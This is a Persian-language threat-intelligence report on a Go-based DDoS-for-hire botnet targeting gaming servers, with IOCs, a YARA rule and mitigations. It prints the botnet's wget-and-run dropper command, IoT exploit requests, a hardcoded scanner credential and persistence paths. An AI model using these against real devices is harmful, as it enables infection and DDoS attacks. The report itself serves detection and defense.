malware · botnet · ddos · golang · iot · honeypot · gaming · mirai
درون یک عملیات DDoS اجارهای گیمینگ
Kinryū Labs با اطمینان بالا ارزیابی میکند که این یک عملیات تجاری DDoS اجارهای متمرکز بر گیمینگ است که روی یک کیت سازندهٔ باتنت مشترک اجرا میشود. همان پایگاه کد Go را گردانندگان مختلف با سرورهای C2 و چیدمانهای حملهٔ خودشان کامپایل میکنند؛ ناوگانِ تحلیلشده در اینجا یک API اجارهایِ خودخدمت و محدود به حساب کاربری و یک موجودیِ زندهٔ بات از حدود 28 تا 32 دستگاه را عرضه میکند و سفارشهای حملهٔ مشتریان را علیه زیرساخت گیمینگ و صوتی اعزام میکند. کانال فرمان TCP خامِ آن بدون احراز هویت است، حال آنکه ثبت بات پشت یک کانال SSH احرازهویتشده با رمز عبور محدود شده است.
نوشتهٔ Davis Zheng·
TLP:CLEAR. برای انتشار عمومی تأیید شد. توسط شبکهٔ حسگرهای هانیپات Kinryū Labs ضبط شد. نشانگرهای زیر خنثیشدهاند (defanged).
خلاصهٔ مدیریتی
- 11باینری یکتا در 7 معماری
- 28-32بات فعال روی API اجارهای
- 1گونهٔ دارای قابلیت SSH (همان PE ویندوزی)
این یک باتنت DDoS بر پایهٔ Go با قابلیتهای کرم IoT است که از طریق یک دراپر چندمعماری (bins.sh) توزیع میشود و بهصورت یک سرویس تجاری DDoS اجارهای اداره میشود. بات از طریق TCP خام به سرور فرمانودهیاش متصل میشود، ضربانهای STATS دورهای میفرستد، و فرمانهای حملهٔ جداشده با خط جدید دریافت میکند. Kinryū Labs با اطمینان بالا ارزیابی میکند که این یک باتنت DDoS اجارهایِ فعال و متمرکز بر گیمینگ است.
ویژگی متمایزکننده یک عدمتقارن در احراز هویت است. کانال فرمان روی 9111/tcp بدون احراز هویت است: هیچ رمز عبور، توکن یا چالش‑پاسخی میان اتصال TCP و اعزام فرمان رد و بدل نمیشود. ثبت بات جداگانه روی یک کانال SSH احرازهویتشده با رمز عبور روی 911/tcp پیگیری میشود، و شمارندهٔ باتِ API اجارهای همان ثبتهای احرازهویتشده را بازتاب میدهد نه اتصالهای فرمانِ باز را. باینری تحلیلشده تنها با کانال TCP خام صحبت میکند و هیچ کلاینت SSH ندارد، پس ثبت توسط یک مؤلفهٔ بارگذارِ (loader) جداگانه انجام میشود.
این عملیات بهصورت یک کسبوکار آشکار اجرا میشود. میزبان فرمانودهی یک API اجارهای DDoS خودخدمت و محدود به حساب کاربری را بهعنوان نمای بیرونی عرضه میکند، یک شمارش زنده از موجودی بات خود منتشر میکند، و یکی از چندین ویترین ساختهشده از همان کیت باتنت است. طی چند ساعت پایش، سرویس سفارشهای حملهٔ مشتریان را در زمان واقعی اعزام کرد.
- کانال فرمان بدون احراز هویت است؛ ثبت اینگونه نیست. TCP خام به
9111فرمانها را بدون هیچ احراز هویتی میپذیرد، حال آنکه شمارش باتِ API اجارهای نشستهای SSH احرازهویتشده با رمز عبور روی911را پیگیری میکند. آزمایش زنده تأیید کرد که یک اتصال TCP خام به9111و یک تبادل کلید SSH بدون احراز هویت روی911، هر دو شمارش بات را بدون تغییر میگذارند. - ناوگان یک پایگاه کد Go است که به شیوههای گوناگون کامپایل شده. شانزده فایل روی فایلسرور C2 پس از حذف تکراریها به یازده باینری یکتا در هفت معماری کاهش مییابند، که همه مسیر ماژول
Botnet/Botو پرچمهای ساخت-tags=netgo -trimpath=trueرا بهاشتراک میگذارند. PE ویندوزی تنها گونهای با کلاینت SSH است؛ ساختهای Linux و IoT از طریق بهرهکشیهای اسکنر و دراپر منتشر میشوند. - سرویس بازار stresserِ گیمینگ را هدف میگیرد. مجموعهٔ شیوهها شامل سیلهای FiveM، Minecraft و Discord است، و فرمانهای حملهٔ زندهای که ضبط کردیم تقریباً بهطور کامل بهسوی زیرساخت گیمینگ و صوتی هدایت شده بودند.
- این چارچوب یک طراحی از تبار Mirai است که در Go بازنویسی شده. الگوهای ساختاری Mirai را بهاشتراک میگذارد: یک کانال فرمان TCP بدون احراز هویت، فرمانهای متنیِ تفکیکشده، اعزام یک goroutine بهازای هر حمله، و یک اسکنر IoT که همان اهداف بهرهکشی را میزند، که در Go با شیوههای بازار گیمینگ، سیلهای TLS/HTTPS، و یک API اجارهایِ الصاقشده بازپیادهسازی شده است.
- این یک کیت سازندهٔ مشترک است، نه یک باتنت سفارشی. یک سرور دراپر ثانویه زیرساخت را با C2 گردانندهٔ دیگری بهاشتراک میگذارد، و ناوگانهای ساختهشده از این کیت مسیر ماژول، اسکنر، سازوکارهای ماندگاری، و بهرهکشیهای روتر را بهاشتراک میگذارند، حال آنکه در نشانی C2 و گزینش شیوهٔ حمله تفاوت دارند.
کیت و گونههای آن
C2 یک دایرکتوری باز میزبانی میکند که ناوگان باتنت را عرضه میکند. شانزده فایل بر پایهٔ SHA-256 به یازده باینری یکتا کاهش مییابند و x86، x86-64، ARM (v5/v6/v7)، ARM64 و MIPS (بزرگبیتی و کوچکبیتی) را در کنار یک PE ویندوزی و یک استابِ کمینه پوشش میدهند. همه پایگاه کد Go با نام Botnet/Bot را بهاشتراک میگذارند که با Go 1.26.4 کامپایل شده، بدون هیچ واردات شخص ثالثی جز کلاینت SSH ساخت ویندوز.
سه نکته برجستهاند:
- PE ویندوزی تنها گونهٔ دارای قابلیت SSH است. تنها
bot.exeبستهٔgolang.org/x/crypto/sshرا وارد میکند؛ یک اسکن کامل رشتهای از ساخت Linuxamd64و مقایسهٔ میانباینری در سراسر هر یازده باینری یکتا هیچ واردات SSH در جای دیگری نیافت. گونههای Linux و IoT از طریق اسکنر و دراپر پخش میشوند. - یک گونه یک ساخت قدیمیتر و بدون C2 است.
x866با Go 1.25.6 کامپایل شد، در برابر 1.26.4 ناوگان، کوچکترین گونهٔ ELF است، و هیچ نشانی C2 آشکاری ندارد؛ نشانی احتمالاً کدگذاری شده یا در زمان اجرا تأمین میشود. پایگاه کدBotnet/Botرا بهاشتراک میگذارد، که آن را به همان گرداننده گره میزند. -
sora.x86یک باتنت نیست. با وجود نام فایلی که خانوادهٔ «Sora» از Mirai را تداعی میکند، این یک استاب کمینهٔ Go است که با همان زنجیرهٔ ابزار ساخته شده و کل کد کاربرِ آنsora.x86 is runningرا چاپ میکند و خارج میشود، بدون هیچ نشانی C2، اسکنر، شیوهٔ حمله یا اعتبارنامه. به احتمال زیاد بهعنوان یک نگهبان فرآیند (process sentinel) یا یک طعمه روی فایلسرور عمل میکند.
سه ضبط از PE ویندوزی حدوداً یک هفته را پوشش میدهند: دو مورد بایتبهبایت یکساناند، یکی متأخرتر یک بازساختِ برهنهشدهٔ کوچکتر است، و یکی حتی متأخرتر یک بازکامپایلِ کاملویژگی است که با نسخهٔ اصلی تفاوت دارد.
پروتکل C2
کانال فرمان TCP خام و بدون احراز هویت لایهٔ انتقال است. توالی اتصال عبارت است از یک بازیابی اختیاری پیکربندی (GET /config.dat، که در برابر یک checkcode جاسازیشده اعتبارسنجی میشود)، یک روال ماندگاری، سپس یک net.Dial به پورت فرمان، که پس از آن بات فرمانها را میخواند بیآنکه ابتدا چیزی بنویسد.
- ضربان:
STATS|%d|%d|%d|%d|%s\n. فیلد پایانی سیستمعامل یا معماری است (برای مثالamd64)؛ چهار عدد صحیح، شمارشهای حمله، اتصال، اسکن و آلودگی را گزارش میکنند. - فرمانها: جداشده با خط جدید و تقسیمشده با فاصلهٔ سفید، به شکل
ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. فیلد نخست شیوه را برمیگزیند و فیلدهای عددی باstrconv.Atoiتجزیه میشوند. - اتصال مجدد: یک تایمر 120 ثانیهای دوباره به حلقهٔ اتصال وارد میشود.
- پیکربندی: اعتبارنامهها و پیکربندی از
config.datکشیده و با یک رمز XOR چندمرحلهایِ سفارشی رمزگشایی میشوند (یک بافر 4,078 بایتی که با فاصله مقداردهی اولیه شده، سپس XOR در سطح بایت با دو بایتِ کلید ثابت،0x24و0x3C). در زمان تحلیل،config.datعرضه نمیشد، که نشان میدهد گرداننده آن را غیرفعال یا جابهجا کرده بود.
شیوههای حمله
بات یک جعبهابزار DDoS گسترده را عرضه میکند که از نام توابع و رشتههای لاگ آن فهرست شده است:
شیوههای حمله
هدفگرفتهٔ گیمینگ: FiveMFlood، FiveMBypass، FiveMTCP، Minecraft، Discord.
لایهٔ 7: HTTPSFlood (Starting Optimized HTTPS Flood on)، Bypass، TLSFlood، TLSPlusFlood، TLSPlusBypassFlood، Priv7Flood (PRIV7 Attack finished).
لایهٔ 4: TCPFlood، PPSFlood، PPSRawFlood، RawTCPFlood، RawACKFlood، ResetAttack.
لایهٔ 3: UdpFlood، RawUDPFlood، UDPPPSFlood (Extreme UDP (PPS))، GbpsFlood (High GBPS)، DNSFlood.
ویژه / مخصوص میزبانی: OVHFlood (هدف: OVH)، GameFlood، FortAttack (Fortnite)، Crash، Freez.
فقط Linux (در ساخت PE نیست): NtpAmp (تقویت کامل NTP؛ PE یک استاب عرضه میکند)، HandshakeFlood (سیل TCP SYN مبتنی بر سوکت خام با جعل IP)، VoultFlood (سیل مبتنی بر سوکت خام با محاسبهٔ checksum).
سیلهای HTTP دوازده رشتهٔ User-Agent مرورگرِ سختکدشده را میچرخانند و یک Referer از مجموعهای از سایتهای خوشاعتبار (google.com، twitter.com، facebook.com، fbi.gov، reddit.com، bing.com) تنظیم میکنند تا با ترافیک مشروع درآمیزند و از فیلترسازی WAF بگذرند.
اسکنر و کرم IoT
اسکنر اعتبارنامههای ورودِ IoT را بهشکل بیرحمانه (brute-force) میآزماید و چندین پشتهٔ وبِ دستگاههای تعبیهشده را بهرهکشی میکند: دوربینهای JAWS DVR/IP (GET /syscmd.htm)، وبسرور Boa روی روترها (POST /boafrm/formSysCmd، POST /boafrm/formLogin)، و دستگاههای مبتنی بر GoAhead (setUserLogin برای دور زدن احراز هویت و ساخت کاربر مدیر، getSanvas برای استخراج پیکربندی). دستگاههای در معرض خطر وادار میشوند تا wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh را اجرا کنند.
اعتبارنامهها تفکیکشدهاند. یک رمز عبور اسکنر در باینری سختکد شده (555111111!!، با نام کاربری محتملِ 555)، حال آنکه فهرست انبوه اعتبارنامهها در زمان اجرا از config.dat کشیده و با XOR رمزگشایی میشود.
ماندگاری از چهار سازوکار بهعلاوهٔ استتار فرآیند استفاده میکند: یک واحد systemd در /etc/systemd/system/sysd.service (با daemon-reload)، یک ورودی cron از طریق /tmp/cron_tmp، rc.local (/etc/rc.local، /etc/rc.d/rc.local)، و init.d (/etc/init.d/boot.local). فرآیند خود را بهجای یک دیمن سیستمی بهنام sysd جا میزند.
عملیات اجارهای
میزبان فرمانودهی مانند یک کسبوکار چیده شده است. SSH گرداننده را روی 22، یک کانال ثبتِ باتِ Go SSH را روی 911 (احراز با رمز عبور، روی یک کلید RSA-2048 متمایز)، یک API HTTP اجارهای DDoS را روی 3333، کانال فرمان TCP خام را روی 9111، و یک فایلسرور دایرکتوریباز را روی 5001 که ناوگان بات را برای دانلود میزبانی میکند، در معرض دید میگذارد.
یک ویترین خودخدمت. API روی 3333 یک بوکرِ (booter) کمینه و تکنقطهای است. /stats یک شمارش زنده از موجودی بات بازمیگرداند؛ /api یک سفارش میگیرد. این API user و psw، یعنی اعتبارنامههای حساب هر مشتری را، در کنار host، method، time/duration و port، یعنی پارامترهای هدف و حمله، اعتبارسنجی میکند و هر چیزِ غایب یا بدون احراز هویت را رد میکند. فرم سفارش از کاوشهای بدون احراز هویت قابلمشاهده است:
GET /stats
{"time":<unix>,"total":30}
GET /api
Missing parameters: user, psw, host, method, time/duration, port
GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed
فرم سفارش یکبهیک بر قالب فرمان بات (ATTACK_TYPE TARGET PORT DURATION) نگاشته میشود: یک درخواست API احرازهویتشده به یک خط تکی بدل میشود که روی کانال بدون احراز هویتِ 9111 به هر باتِ ثبتشده اعزام میشود.
یک موجودیِ گزینشده. /stats در طول بازهٔ پایششده 28 تا 32 باتِ فعال را با گردشِ پیوسته گزارش کرد. از آنجا که آن شمارنده ثبتهای احرازهویتشده با رمز عبور روی 911 را پیگیری میکند نه اتصالهای فرمان خام را، یک شمارش موجودیِ وارسیشده است. این دلیل عملیاتیِ آن است که ثبت و اعزام فرمان میان دو کانال تفکیک شدهاند: یک دروازه برای تصمیم دربارهٔ اینکه کدام باتها به سرویس تعلق دارند، و یک کانال باز برای راندنِ آنها.
یک چرخش از استخراج به DDoS. سرور دراپر ثانویه یک miner.sh خالیشده را در کنار ناوگان DDoS حمل میکند، باقیماندهٔ یک مؤلفهٔ استخراجکنندهٔ رمزارز که از آن پس حذف شده است. به نظر میرسد گرداننده از استخراج رمزارز به فروش DDoS نقلمکان کرده است.
اجرای سفارش، مشاهدهشده بهصورت زنده
ما پروتکل مهندسیمعکوسشده را با یک پایشگر منفعل در برابر C2 زنده اعتبارسنجی کردیم و کارکرد سرویس را تماشا کردیم. C2 بیشترِ اوقات بیکار بود؛ در طول یک نشست چندساعته سیزده فرمان حمله اعزام کرد، که هر یک سفارش یک مشتری بود که به ناوگان هل داده میشد.
سفارشها تقریباً بهطور کامل بهسوی زیرساخت گیمینگ و صوتی نشانه رفته بودند: عمدتاً سرورهای بازی FiveM (GTA V) روی Google Cloud در عربستان سعودی، در کنار نقاط پایانی صوتی Discord روی Cloudflare و یک جفت وبسرور. ما ارزیابی میکنیم که این یک سرویس stresserِ متمرکز بر گیمینگ است که بر پایهٔ یک منازعهٔ مشتریِ مشخص عمل میکند. الگوی اعزام مانند تحویل سرویس خوانده میشود: مدتهای حملهٔ ردهبندیشده که به ردههای محصول شباهت دارند (کاوشهای 20 ثانیهای، استاندارد 30 ثانیهای، پایدار 60 ثانیهای)، تشدید شیوه (یک سیل عمومی برای آزمودن یک هدف، سپس یک شیوهٔ خاصِ پروتکل علیه آن)، اعزام جفتی و رگباری که پس از آن سکوت میآید، و ضربهٔ مضاعف به هر دو IP در پشتِ کانال صوتیِ توازنبارشدهٔ یک سرور Discord.
یک کیت سازندهٔ مشترک
این یک باتنت سفارشی نیست. این یک ساخت از یک کیت باتنت است که گردانندگان مختلف آن را سفارشی میکنند و بهعنوان سرویس خودشان اجرا میکنند. روشنترین نمای این کیت یک مقایسهٔ کناربهکنار با ناوگانِ گزارش پیشین ما، یک باتنت DDoS اجارهای چندسکویی بر پایهٔ Go، است که روی همان پایگاه کد اجرا میشود:
| گزارش پیشین | این عملیات | |
|---|---|---|
| پایگاه کد | کیت Go با نام Botnet/Bot | همان کیت Go با نام Botnet/Bot |
| تحویل | Jenkins RCE + اسکنر IoT | Jenkins RCE + اسکنر IoT |
| اسکنر، ماندگاری، بهرهکشیهای روتر | مشترک | مشترک |
| نشانی C2 | 185.226.93[.]242 | 5.175.140[.]178 |
| چیدمان و بازار | DDoS همهمنظوره | stresserِ گیمینگ (FiveM، Minecraft، Discord) |
ناوگانها مسیر ماژول Botnet/Bot، همان اسکنر و بهرهکشیهای IoT، همان سازوکارهای ماندگاری، و همان دراپر را بهاشتراک میگذارند، و روی زیرساخت همپوشان اجرا میشوند: سرور دراپر ثانویه در اینجا (185.226.93[.]242) همان C2 گزارش پیشین است. آنچه تفاوت دارد چیدمان و بازار است. آن ناوگان دیگر یک مجموعهٔ سیل همهمنظوره را کامپایل میکند؛ گرداننده در اینجا شیوههای گیمینگ را کامپایل میکند و API سفارش اجارهای را عرضه میکند، که مستقیماً بازار stresserِ گیمینگ را نشانه گرفته است. اینها رویهم به یک اقتصاد کیت سازنده اشاره دارند: یک پایگاه کد مشترک که دوباره فروخته یا دستبهدست میشود، و هر گرداننده یک ویترین با اهداف خودش برپا میکند.
نشانگرهای نفوذ
زیرساخت مهاجم خنثیشده است. درهمها دقیقاً بازتولید شدهاند.
شبکه
| نشانگر | زمینه |
|---|---|
5.175.140[.]178:911/tcp | ثبت بات (Go SSH، احراز با رمز عبور؛ شمارششده توسط API اجارهای) |
5.175.140[.]178:9111/tcp | اعزام فرمان (TCP خام، بدون احراز هویت؛ شمارشنشده) |
5.175.140[.]178:3333/tcp | API اجارهای DDoS (/stats، /api) |
5.175.140[.]178:5001/tcp | فایلسرور دایرکتوریباز (ناوگان بات + دراپر) |
5.175.140[.]178:22/tcp | SSH گرداننده (OpenSSH 9.7p1 Ubuntu) |
hxxp://5.175.140[.]178:9111/config.dat | بازیابی پیکربندی روی TCP خام |
hxxp://5.175.140[.]178:5001/bins.sh | دراپر چندمعماری (اصلی) |
185.226.93[.]242:1001/tcp | دراپر ثانویه (C2 یک گردانندهٔ جداگانه) |
hxxp://185.226.93[.]242:1001/bins.sh، …/binns.sh | دراپر (ثانویه + گونهٔ با غلط تایپی) |
217.60.195[.]229 | نشانی مبدأ که نمونه را تحویل داد |
5.175.140[.]0/24 | تخصیص میزبانی |
رشتههای اسکنر / انتشار
GET /syscmd.htm HTTP/1.1 (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1 (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1 (Boa login)
GET /login.htm HTTP/1.1 (router login page)
{"topicurl":"setting/setUserLogin",...} (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"} (GoAhead config extraction)
GET /config.dat HTTP/1.1 (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt
آثار میزبان
Process name: sysd
systemd: /etc/systemd/system/sysd.service (+ daemon-reload)
cron: /tmp/cron_tmp
rc.local: /etc/rc.local, /etc/rc.d/rc.local
init.d: /etc/init.d/boot.local
Hardcoded scanner credential: 555111111!! (likely username 555)
فایلها (SHA-256)، Go 1.26.4 مگر جایی که خلافش ذکر شده
درهمهای کامل فایلها
bot.exe (Windows PE, only SSH-capable variant), captures:
6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4 (6,253,056 bytes)
36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25 (4,933,632 bytes, stripped rebuild)
4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 (6,020,608 bytes, full rebuild)
Linux amd64: 8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical): d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l): 523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5: 362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6: 2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64): 428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE): 6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE): 3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP): f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet): a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
sora.x86 MD5: 3f95cf1ed17f7e00a7be4f5cf12e0088
x86/i386، گروه ARM7 (android_arm/arm/arm7/armv7l)، و android_arm64/arm64 بایتبهبایت یکساناند؛ arm6 با وجود اندازهٔ یکسان از گروه ARM7 تفاوت دارد (بهسبب تولید کد متفاوتِ GOARM).
میزبانی
Provider: Ryzehosting
Maintainer: GHOSTNET-MNT
Abuse: [email protected]
Reverse DNS: static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15
شناسایی
رشتهها پایدار و مبهمنشدهاند، پس امضاها سادهاند. قاعدهٔ YARA زیر یک نامزد است که از رشتههای متمایز ساخته شده؛ پیش از استقرار اعتبارسنجی کنید.
rule go_gaming_ddos_bot_candidate
{
meta:
description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
author = "Kinryu Labs honeypot CTI"
reference = "6da75697...78d4" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$mod = "Botnet/Bot" ascii
$cnc1 = "Connecting to CNC" ascii
$cnc2 = "Connected to CNC" ascii
$stats = "STATS|" ascii
$svc = "/etc/systemd/system/sysd.service" ascii
$cron = "/tmp/cron_tmp" ascii
$fivem = "Starting FiveM Flood on" ascii
$cred = "555111111!!" ascii
condition:
($mod and 2 of ($cnc1, $cnc2, $stats)) or
($svc and $cron) or
(2 of ($fivem, $cred, $stats))
}
منطق شناسایی افزوده:
# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n
# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}
# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
رفع
- Jenkins یا دیگر رابطهای CI/CD و مدیریتی را به اینترنت در معرض نگذار. این بردار تحویل بود.
- دستگاههای IoT مبتنی بر JAWS، Boa و GoAhead را وصله یا قطعهبندی کن، و دسترسی بیرونی به رابطهای مدیریتیشان را مسدود کن. اینها اهداف انتشار اسکنرند.
- زیرساخت C2 و دراپر را مسدود کن در محیط (
5.175.140[.]178و دراپرِ185.226.93[.]242:1001)، و بر سرِ بازیابیconfig.datو زنجیرهٔ اجرایbins.shهشدار بده. - بر سرِ آثار ماندگاری و نام فرآیندِ
sysdهشدار بده، و بر سرِ الگوی ضربانِSTATS|در خروجی.
نگاشت MITRE ATT&CK
| تاکتیک | تکنیک |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (تحویل با Jenkins؛ بهرهکشیهای پشتهٔ وبِ IoT شاملِ JAWS / Boa / GoAhead) |
| Execution | T1059.004 Command and Scripting Interpreter: Unix Shell (دراپرِ bins.sh) |
| Persistence | T1543.002 Systemd Service (sysd.service)؛ T1053.003 Cron؛ T1037.004 RC Scripts (rc.local)؛ اسکریپت بوتِ init.d |
| Defense Evasion | T1036 Masquerading (نام فرآیندِ sysd؛ جعل User-Agent مرورگر و referer)؛ T1027 Obfuscated Files or Information (config.dat کدشده با XOR) |
| Credential Access | T1110 Brute Force (ورود دستگاه IoT) |
| Discovery | T1046 Network Service Scanning (اسکنر IoT) |
| Command and Control | T1071.001 Web Protocols (config.dat)؛ T1571 Non-Standard Port (911، 9111، 3333، 5001)؛ T1105 Ingress Tool Transfer (دراپر چندمعماری) |
| Impact | T1498.001 Direct Network Flood (UDP / TCP / PPS / FiveM / Discord)؛ T1498.002 Reflection Amplification (DNS / NTP) |
روششناسی و یادداشتها
- تحلیل، مهندسی معکوسِ ایستا بهعلاوهٔ اعتبارسنجی منفعلِ پروتکل زنده است؛ باینریها هرگز اجرا نشدند.
- نشانگرها خنثیشدهاند و درهمها دقیقاً بازتولید شدهاند.
- نمونهها بهدرخواست در اختیار دیگر پژوهشگران و مدافعان قرار میگیرند. به [email protected] با یادداشتی کوتاه دربارهٔ اینکه که هستید و چرا به آنها نیاز دارید ایمیل بزنید.